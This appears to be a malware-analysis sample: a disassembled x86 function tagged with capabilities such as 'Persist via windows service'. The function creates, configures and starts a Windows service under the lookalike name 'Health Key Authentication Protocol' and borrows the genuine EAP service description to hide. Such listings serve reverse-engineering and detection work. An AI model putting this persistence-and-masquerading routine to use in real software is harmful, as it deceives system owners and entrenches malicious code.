Function at 0x416a05
Capabilities:
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push ebp
push ebx
mov edx, 0xf
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x416a0c
call fcn.00428a20
mov ebx, dword [esp + 0x14]
imul ebx, dword [esp + 0x14]
mov dword [esp + 0x14], ebx
push 0x30
call fcn.00403d2f
mov ebx, dword [0x46d51c]
cmp ebx, 2
jle 0x416ab1
mov ebx, dword [esp]
imul ebx, dword [esp]
mov dword [esp], ebx
push 1
push dword [0x46d51c]
call fcn.004213d0
mov dword [esp], eax
mov ebx, dword [esp]
mov ebp, dword [0x46d9a0]
imul ebx, ebx, 0xc
add ebp, ebx
mov edx, dword [ebp + 4]
push edx
call fcn.00428a80
pop edx
push eax
push edx
call fcn.00428b80
lea eax, [esp + 0xc]
push eax
call fcn.00428ac0
mov ebx, dword [esp]
mov ebp, dword [0x46d9a0]
imul ebx, ebx, 0xc
add ebp, ebx
mov edx, dword [ebp + 8]
push edx
call fcn.00428a80
pop edx
push eax
push edx
call fcn.00428b80
lea eax, [esp + 0x10]
push eax
call fcn.00428ac0
jmp 0x416acd
mov edx, str.Health_Key_Authentication_Protocol
lea ecx, [esp + 8]
call fcn.0041f008
mov edx, str.Authentication_Protocol__EAP__service_provides_network_authentication_in_such_scenarios_as_802.1x_wired_and_wireless__VPN__and_Network_Access_Protection__NAP_.__EAP_also_provides_application_programming_interfaces__APIs__that_are_used_by_network_access_clients__including_wireless_and_VPN_clients__during_the_authentication_process.__If_you_disable_this_service__this_computer_is_prevented_from_accessing_networks_that_require_EAP_authentication.
lea ecx, [esp + 0xc]
call fcn.0041f008
push edx
call fcn.00428a80
pop edx
push eax
push edx
call fcn.00428a80
pop edx
push eax
push edx
call fcn.00428a80
pop edx
push eax
push edx
call fcn.00428a80
pop edx
push eax
push edx
call fcn.00428a80
pop edx
push eax
push edx
call fcn.00428a80
pop edx
push eax
call fcn.00420d56
call fcn.0041f3d2
add dword [esp], edx
call fcn.004209e0
call fcn.0041f3d2
add dword [esp], edx
call fcn.0041fdc0
lea eax, [esp + 0x2c]
push eax
call fcn.00428ac0
push dword [esp + 0x28]
mov edx, 0x469028
pop ecx
call fcn.0041f400
jne 0x416b7d
mov edx, dword [esp + 0x28]
push edx
call fcn.00428a80
pop edx
push eax
push edx
call fcn.00428b80
lea eax, [0x46d4dc]
push eax
call fcn.00428ac0
mov eax, dword [0x46d4dc]
push eax
lea ebp, [esp + 0x1c]
pop eax
mov dword [ebp], eax
lea eax, [0x41b63f]
push eax
pop eax
mov dword [ebp + 4], eax
lea eax, [esp + 0x18]
push eax
call sub.ADVAPI32.dll_StartServiceCtrlDispatcherW
jmp 0x416ee6
call fcn.0040f593
mov dword [esp + 0x10], 0
push edx
call fcn.00428a80
pop edx
push eax
call fcn.004170eb
push edx
call fcn.00428a80
pop edx
push eax
call fcn.004031ee
pop eax
lea eax, [esp + 0x28]
push eax
call fcn.00428ac0
push edx
call fcn.00428a80
pop edx
push eax
push dword [esp + 0x28]
push edx
call fcn.00428a80
pop edx
push eax
push edx
call fcn.00428a80
pop edx
push eax
call fcn.00420b90
call fcn.0041f3d2
add dword [esp], edx
call fcn.00423e78
call fcn.0041f3f0
and eax, eax
je 0x416be8
jmp 0x416c04
mov ebx, dword [esp + 0x10]
inc ebx
mov dword [esp + 0x10], ebx
mov ebx, dword [esp + 0x10]
cmp ebx, 0xc8
jle 0x416c02
jmp 0x4013a3
jmp 0x416b8a
push dword [esp + 0x24]
call fcn.0040ecca
push edx
call fcn.00428a80
pop edx
push eax
push 0
push edx
call fcn.00428a80
pop edx
push eax
call fcn.004170eb
mov edx, str.ntdll.dll
push edx
call fcn.00428b80
call fcn.0041f3d2
add dword [esp], edx
call fcn.00423e9d
call fcn.0041f3f0
mov dword [esp + 0x2c], eax
mov ebx, dword [esp + 0x2c]
and ebx, ebx
jne 0x416c65
mov eax, 0x469c80
push eax
mov eax, str._yyyy__mm__dd__hh:_ii:_ss
push eax
call fcn.00425593
mov dword [esp + 0x2c], eax
push dword [esp + 0x2c]
push 0
push dword [esp + 0x2c]
call fcn.00423f41
push dword [esp + 0x2c]
push 1
push dword [esp + 0x2c]
call fcn.00423f41
push dword [esp + 0x2c]
push 2
push dword [esp + 0x2c]
call fcn.00423f41
push edx
call fcn.00428a80
pop edx
push eax
call fcn.0041ab70
lea eax, [0x46d4dc]
push eax
call fcn.00428ac0
mov edx, dword [esp + 0x24]
push edx
call fcn.00428a80
pop edx
push eax
push edx
call fcn.00428b80
mov edx, 0x4690d2
push edx
call fcn.00428b80
mov edx, dword [0x46d4dc]
push edx
call fcn.00428b80
lea eax, [esp + 0x28]
push eax
call fcn.00428ac0
push 2
push 0
push 0
call sub.ADVAPI32.dll_OpenSCManagerW
mov dword [esp + 0x30], eax
cmp dword [esp + 0x30], 0
je 0x416d8d
push 0
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x38]
push eax
push 1
push 2
push 0x10
push 0xf01ff
mov eax, dword [esp + 0x30]
push eax
mov eax, dword [0x46d4dc]
push eax
push dword [esp + 0x60]
call sub.ADVAPI32.dll_CreateServiceW
mov dword [esp + 0x34], eax
cmp dword [esp + 0x34], 0
je 0x416d84
mov eax, dword [esp + 0xc]
push eax
lea ebp, [esp + 0x24]
pop eax
mov dword [ebp], eax
lea eax, [esp + 0x20]
push eax
push 1
push dword [esp + 0x3c]
call sub.ADVAPI32.dll_ChangeServiceConfig2W
push dword [esp + 0x34]
call sub.ADVAPI32.dll_CloseServiceHandle
push dword [esp + 0x30]
call sub.ADVAPI32.dll_CloseServiceHandle
push 2
push 0
push 0
call sub.ADVAPI32.dll_OpenSCManagerW
mov dword [esp + 0x30], eax
cmp dword [esp + 0x30], 0
je 0x416df0
push 0xf01ff
mov eax, dword [0x46d4dc]
push eax
push dword [esp + 0x38]
call sub.ADVAPI32.dll_OpenServiceW
mov dword [esp + 0x34], eax
cmp dword [esp + 0x34], 0
je 0x416de7
push 0
push 0
push dword [esp + 0x3c]
call sub.ADVAPI32.dll_StartServiceW
push dword [esp + 0x34]
call sub.ADVAPI32.dll_CloseServiceHandle
push dword [esp + 0x30]
call sub.ADVAPI32.dll_CloseServiceHandle
push edx
call fcn.00428a80
pop edx
push eax
call fcn.004170eb
mov edx, str.wostmp_
push edx
call fcn.00428b80
lea eax, [esp + 0x3c]
push eax
call fcn.00428ac0
push dword [esp + 0x38]
call fcn.00423a54
push dword [esp + 0x38]
call fcn.004099aa
push edx
call fcn.00428a80
pop edx
push eax
mov edx, dword [esp + 0x3c]
push edx
call fcn.00428a80
pop edx
push eax
push edx
call fcn.00428b80
mov edx, 0x469196
push edx
call fcn.00428b80
push 1
push closesocket
call fcn.004213d0
mov ebx, eax
push edx
call fcn.00428a80
pop edx
push eax
push edx
call fcn.00428a80
pop edx
push eax
mov eax, ebx
cdq
push edx
push eax
call fcn.00420660
pop eax
mov edx, 0x469196
push edx
call fcn.00428b80
push 1
push closesocket
call fcn.004213d0
mov ebx, eax
push edx
call fcn.00428a80
pop edx
push eax
push edx
call fcn.00428a80
pop edx
push eax
mov eax, ebx
cdq
push edx
push eax
call fcn.00420660
pop eax
call fcn.00428c10
push edx
call fcn.00428a80
pop edx
push eax
push edx
call fcn.00428a80
pop edx
push eax
call fcn.00420b90
call fcn.0041f3d2
add dword [esp], edx
call fcn.0041f3d2
add dword [esp + 4], edx
call fcn.0042401f
call fcn.0041f3f0
jmp 0x4013a3
xor eax, eax
push dword [esp + 0x28]
call fcn.00428b50
push dword [esp + 0x38]
call fcn.00428b50
push dword [esp + 0x24]
call fcn.00428b50
push dword [esp + 8]
call fcn.00428b50
push dword [esp + 0xc]
call fcn.00428b50
add esp, 0x3c
pop ebx
pop ebp
ret